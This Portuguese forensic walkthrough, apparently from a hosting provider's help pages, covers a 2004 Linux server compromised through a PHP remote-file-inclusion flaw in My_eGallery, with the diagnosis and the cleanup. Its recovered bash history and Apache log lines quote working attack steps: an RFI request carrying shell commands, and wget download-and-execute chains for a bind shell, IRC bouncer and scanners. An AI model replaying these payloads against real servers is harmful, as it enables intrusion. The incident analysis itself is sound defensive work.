Busca


imprimir pdf

Maquina Contaminada


Aqui está um exemplo preciso de uma máquina MaquinaSemiHackada com um vírus instalado mas ainda recuperável sem reinstalação completa.

# ps auxw
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog..
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven


Visivelmente, o hacker explorou uma falha nos scripts e pode ter tido um acesso shell sobre a máquina. Depois, pode ter carregado, compilado e executado diferentes programas. Notamos a utilização dos nomes como httpd que é geralmente um servidor apache. Uma pessoa sem experiência, pensará que se trata simplesmente de um servidor web o que não é o caso.
O hacker pode ter visto também:

# uname -a
Linux nsxxxxxxx 2.4.24-custom-grsec #1 mar jan 6 22:29:56 CET 2004 i686 unknown


O cliente colocou o último kernel actualmente disponível e sem bug de segurança. Podemos então pensar que o hacker não pode ter tido acesso em root sobre a máquina. Vamos fazer algumas verificações:

# netstat -tanpu
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58215 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :59768 68.123.42.162:1449 ESTABLISHED 16386/raven
tcp 0 0 213.186.XX.XX :42473 195.47.220.2:6667 ESTABLISHED 647/fileoutlog.
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:58698 CLOSE_WAIT -
tcp 22 0 213.186.XX.XX :59768 80.96.33.10:52703 CLOSE_WAIT -
tcp 0 0 213.186.XX.XX :42427 193.109.122.67:6667 ESTABLISHED 647/fileoutlog.
tcp 0 0 213.186.XX.XX :36162 62.235.13.228:6667 ESTABLISHED 647/fileoutlog.
udp 0 0 0.0.0.0 :3049 0.0.0.0:* 10279/rh


Reparamos que o processo rh escuta o porto 3049. Uma pessoa experiente apercebe-se que se trata de um vírus. Mas como o processo está em nobody, estamos seguros que o vírus não se instalou (ainda). Agora deve ser externamente prudente. Uma manipulação errada pode levar à instalação do vírus em root e neste momento a única solução seria reinstalar a máquina. Primeiro vamos confirmar que se trata realmente de um vírus. Vamos fazer o download de um antivírus e fazer um scan dos directórios.

# cd /temp/

1. wget http://www.antivir.de/dateien/antivir/release/avlxwks.tgz
2. tar xvfz avlxwks.tgz
3. cd antivir-workstation-2.0.9/bin/


Vamos fazer de forma a que o vírus não possa modificar o antivírus.

# chattr -i antivir

1. cp ../vdf/antivir.vdf ./
2. ./antivir

Anti Vir / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.

Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...

Anti Vir is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004

checking drive/path (cwd): /temp/antivir-workstation-2.0.9/bin

scan results
directories: 1
files: 1
alerts: 0
scan time: 00:00:01

Thank you for using Anti Vir.



Agora, vamos fazer o scan:

# ./antivir --allfiles /*
Anti Vir / Linux Version 2.0.9-12
Copyright (c) 1994-2003 by H+BEDV Datentechnik GmbH.
All rights reserved.

Loading /temp/antivir-workstation-2.0.9/bin/antivir.vdf ...

Anti Vir is running in DEMO mode.
VDF version: 6.23.0.34 created 18 Jan 2004

checking drive/path (list): /bin
checking drive/path (list): /boot
checking drive/path (list): /dev
checking drive/path (list): /etc
checking drive/path (list): /home
checking drive/path (list): /initrd
checking drive/path (list): /lib
checking drive/path (list): /lost+found
checking drive/path (list): /mnt
checking drive/path (list): /opt
checking drive/path (list): /proc
checking drive/path (list): /root
checking drive/path (list): /sbin
checking drive/path (list): /temp
checking drive/path (list): /tmp
/tmp/bindtty
Date: 24.01.2004 Time: 13:39:29 Size: 28143
ALERT: [Linux/Rst.B virus] /tmp/bindtty Contains signature of the Linux virus Linux/Rst.B

/tmp/_30267_120_21.wrk
Date: 24.01.2004 Time: 13:35:05 Size: 9834
ALERT: [Linux/Rst.B virus] /tmp/_30267_120_21.wrk Contains signature of the Linux virus Linux/Rst.B

/tmp/d
Date: 15.12.2003 Time: 16:41:54 Size: 132720
ALERT: [Linux/Rst.B virus] /tmp/d Contains signature of the Linux virus Linux/Rst.B

/tmp/d2
Date: 24.01.2004 Time: 13:39:29 Size: 93694
ALERT: [Linux/Rst.B virus] /tmp/d2 Contains signature of the Linux virus Linux/Rst.B


checking drive/path (list): /usr
checking drive/path (list): /var

scan results
directories: 17
files: 713
alerts: 4
repaired: 0
deleted: 0
renamed: 0
scan time: 00:00:08
Thank you for using Anti Vir.



Trata-se então de Rst.B :
www.sophos.fr/virusinfo/analyses/linuxrstb.html
www.computeruser.com/news/02/01/08/news1.html

O que não deve sobretudo fazer é de o executar. Porquê? Actualmente o vírus é executado em nobody ou seja um utilizador que não pode realizar muita coisa sobre a máquina. Eu, estando ligado em root, se o executo, irei-lhe dar o direito de root alias super utilizador e neste momento, o vírus tendo as permissoes sobre o disco, vai infectar os ficheiros de sistemas (que pertence ao root).

O que fazemos então? Apagamos-o.

# cd /tmp

1. ls -l

total 9348
-rwxrwxrwx 1 nobody nobody 28143 jan 24 13:39 bindtty
-rwxr-xr-x 1 nobody nobody 132720 déc 15 16:41 d
-rwxr-xr-x 1 nobody nobody 93694 jan 24 13:39 d2
drwxr-xr-x 11 nobody nobody 4096 jan 24 12:05 psybnc

1. rm -rf *
2. ls -al

total 24
drwxrwxrwt 3 root root 12288 jan 24 16:11 .
drwxr-xr-x 19 root root 4096 jan 24 15:47 ..
drwxr-xr-x 3 nobody nobody 4096 jan 24 13:42 ...
-rw- 1 nobody nobody 803 jan 23 11:38 .bash_history



Olha, um ficheiro bash do shell. Vamos então ver o que o hacker marcou:

# cat .bash_history
cd /var/tmp
uptime
mkdir " "
cd " "
wget http://hm2k.org/irc/psybnc/psyBNC2.2.1-linux-i86-static.tar.gz
tar -zxvf psyBNC2.2.1-linux-i86-static.tar.gz
rm -rf psyBNC2.2.1-linux-i86-static.tar.gz
cd psybnc
make
rm -rf psybnc.conf
wget e-2008.com/psybnc.conf
./psybnc
w
cd /var/tmp
mkdir " .."
cd " .."
wget cool-life.org/alina
chmod +x alina
./alina
cat /etc/issue
./alina
./alina
./alina
./alina
./alina
./alina
./alina
wget mephist0.3x.ro/insert.tar.gz
tar zxvf insert.tar.gz
cd 123123321
./x
./x
./x
./x
./x
./x
wget wget www.bogo.as.ro/linux/httpd
chmod +x httpd
./httpd
socklist
ps ax
wget ma-doare-n-pwla.com/bind.tgz
chmod +x bind
tar zxvf bind.tgz
cd bind
chmod +x raven
./raven
kill -9 9296
ps ax
killall -9 x
killall -9 alina
killall -9 psybnc
ps afx
killall -9 tmp/./bindtty
killall -9 bindtty

1.


Notámos a criação de um directorio "" (com um espaço) que enganaria uma pessoa não experiente, que não o notaria. Notámos que o hacker instalou um bounce IRC o qual irá utilizar um dia para se ligar de uma maquina a outra. Isto iria-lhe permitir de nunca dar o verdadeiro IP de ligação e então nunca seria encontrado.

Agora vamos matar os processos:

# ps auxw | grep nobody
nobody 10279 0.0 0.0 1416 280 ? S Jan23 0:00 ./rh 1000
nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.
nobody 25551 0.0 0.0 1504 392 ? S 13:29 0:00 ./httpd
nobody 16386 0.0 0.0 1496 400 ? S 13:33 0:00 ./raven

1. kill 10279
2. kill 647
3. kill 25551
4. kill 16386
5. ps auxw | grep nobody

nobody 647 0.0 0.2 2432 1200 ? S 00:02 0:01 fileoutlog.

1. kill -9 647
2. ps auxw | grep nobody



Verificamos que o hacker não instalou um ficheiro crontab:

# cd /var/spool/cron/

1. ls -al

total 8
drwx- 2 root root 4096 jui 17 2003 .
drwxr-xr-x 7 root root 4096 jun 24 2003 ..



Perfeito. A máquina está novamente clean. Mas o hacker pode explorar de novo a falha sobre os scripts php e voltar sobre a máquina. Devemos então encontrar o ficheiro php que não é seguro.

# cd /usr/local/apache/logs


Vamos então procurar os pedidos GET sobre os scripts php onde passamos os parâmetros. Depois, por experiência, pensamos que o hacker utilizou wget para fazer o download do executável.

# grep "php?" *_log | grep GET | grep wget
ovh-access_log:202.133.101.83 - - G18/Jan/2004:11:40:48 +0100I "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty5 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"



Bingo. Vamos agora ver o que ele fez ainda.

# grep "202.133.101.83" ovh-access_log
202.133.101.83 - - G18/Jan/2004:11:40:01 +0100I "GET /~sitehacke/sitehacke/modules.php?name=My_eGallery HTTP/1.0" 200 14012 "http://www.google.com.my/search?q=allinurl:+My_eGallery+site:.net&hl=ms&lr=&ie=UTF-8&oe=UTF-8&start=420&sa=N6" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
202.133.101.83 - - G18/Jan/2004:11:40:10 +0100I "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=uname%20-a;%20id7 HTTP/1.0" 200 794 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
202.133.101.83 - - G18/Jan/2004:11:40:48 +0100I "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=wget%20streez.org/bindtty%20-O%20/tmp/bindtty8 HTTP/1.0" 200 910 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
202.133.101.83 - - G18/Jan/2004:11:41:06 +0100I "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=chmod%20777%20/tmp/bindtty9 HTTP/1.0" 200 705 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"
202.133.101.83 - - G18/Jan/2004:11:41:24 +0100I "GET /~sitehacke/sitehacke/modules/My_eGallery/public/displayCategory.php?basepath=http://www.e-2008.com/com.txt?&cmd=/tmp/./bindtty10 HTTP/1.0" 200 734 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.23 GenI"



Vemos então:
Ele foi ao Google e procurou os sites que instalaram My_EGallery. www.google.com.my/search?q=allinurl:+My_eGallery+site. Primeiro tentou ver se o script tinha uma falha ou não tentado executar uname -a; id. Visivelmente, funcionou. Ele fez então o download de uma shell contaminado com um virus e gravou-a no directorio /tmp wget 20streez.org/bindtty -O /tmp/bindtty, deu a autorização de execução a este script:
chmod 777 /tmp/bindtty
Depois executou-o:
/tmp/./bindtty

O que lhe permitiu arrancar um sheel e ter acesso sobre a máquina em nobody. Isto tudo em 1 minuto 23 segundos !!

Vamos então bloquear este directório:

# cd /home/sitehacke

1. ls -al

total 16
drwx-r-x 4 sitehacke users 4096 sep 9 19:34 .
drwxr-xr-x 98 root root 4096 jan 23 11:42 ..
drwx-r-x 2 sitehacke users 4096 sep 9 19:34 cgi-bin
drwx-r-x 6 sitehacke users 4096 déc 21 00:57 www

1. chmod -cfR 0 *




O hacker ligou-se a partir do ip 202.133.101.83

# whois 202.133.101.83

inetnum: 202.133.96.0 - 202.133.111.255
netname: MYKRISNET
descr: Wireless Internet Service Provider
descr: descr: Mont' Kiara, Kuala Lumpur, Malaysia.
country: MY


Um IP na Malásia, um assinante ADSL provavelmente hackado. Nenhuma queixa poderá ser recebida pela polícia.

No dmesg da máquina podemos ver o seguinte:

# dmesg
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:8845) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:21941) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:1622) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: From 80.96.33.10: signal 11 sent to (alina:5811) UID(99) EUID(99), parent (sh:27481) UID(99) EUID(99)
grsec: more alerts, logging disabled for 10 seconds
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
eth0: link down
eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
grsec: From 81.196.46.28: signal 11 sent to (km3:13236) UID(99) EUID(99), parent (km3:17922) UID(99) EUID(99)
grsec: From 81.196.46.28: signal 11 sent to (km3:7660) UID(99) EUID(99), parent (km3:13236) UID(99) EUID(99)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:17799) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)
grsec: From 80.96.33.157: signal 11 sent to (psybnc:21648) UID(99) EUID(99), parent (init:1) UID(0) EUID(0)


O hacker quiz executar um soft alina, pravalvelmente um scan de rede. Felizmente, o kernel GRS detectou-o e matou este processo. Depois o hacker tentou outros scans das redes. O scan foi tão violento que a ligação rj45 foi abaixo durante alguns segundos :

# grep "eth0" /var/log/messages
Jan 23 11:29:25 ns10 kernel: eth0: link down
Jan 23 11:32:14 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1
Jan 23 11:32:17 ns10 kernel: eth0: link down
Jan 23 11:32:18 ns10 kernel: eth0: link up, 100Mbps, full-duplex, lpa 0x41E1


Como a rede foi abaixo, não vemos nenhum ataque sobre MRTG. Notamos que o IP de ligação mudou:

# whois 80.96.33.10
[Pedido en curso whois.ripe.net]
inetnum: 80.96.33.0 - 80.96.33.255
netname: SC-NET-AND-COMPUTERS-SRL
descr: SC Net & Computers SRL
descr: Str. Petru Rares nr.7 Dorohoi
country: ro


Um IP da Roménia. Provavelmente hackeado.

# whois 81.196.46.28
[Pedido em curso whois.ripe.net]
inetnum: 81.196.46.0 - 81.196.46.31
netname: RO-OR-MULTINET-20030708
descr: Multinet Systems SRL
country: ro


Ainda da Roménia.

# whois 80.96.33.157
[Pedido em curso whois.ripe.net]
[whois.ripe.net]
inetnum: 80.96.33.0 - 80.96.33.255
netname: SC-NET-AND-COMPUTERS-SRL
descr: SC Net & Computers SRL
descr: Str. Petru Rares nr.7 Dorohoi
country: ro


E Roménia.

Escreveremos um mail aos admins das redes que gerem estes IPs afim que eles verifiquem a sua rede. Nunca teremos uma resposta e não saberemos se foi feito ou não. Conclusão: actualize as suas máquinas e verifique o que se passa nela. O hack é simples e rápido. E o hacker não é encontrado.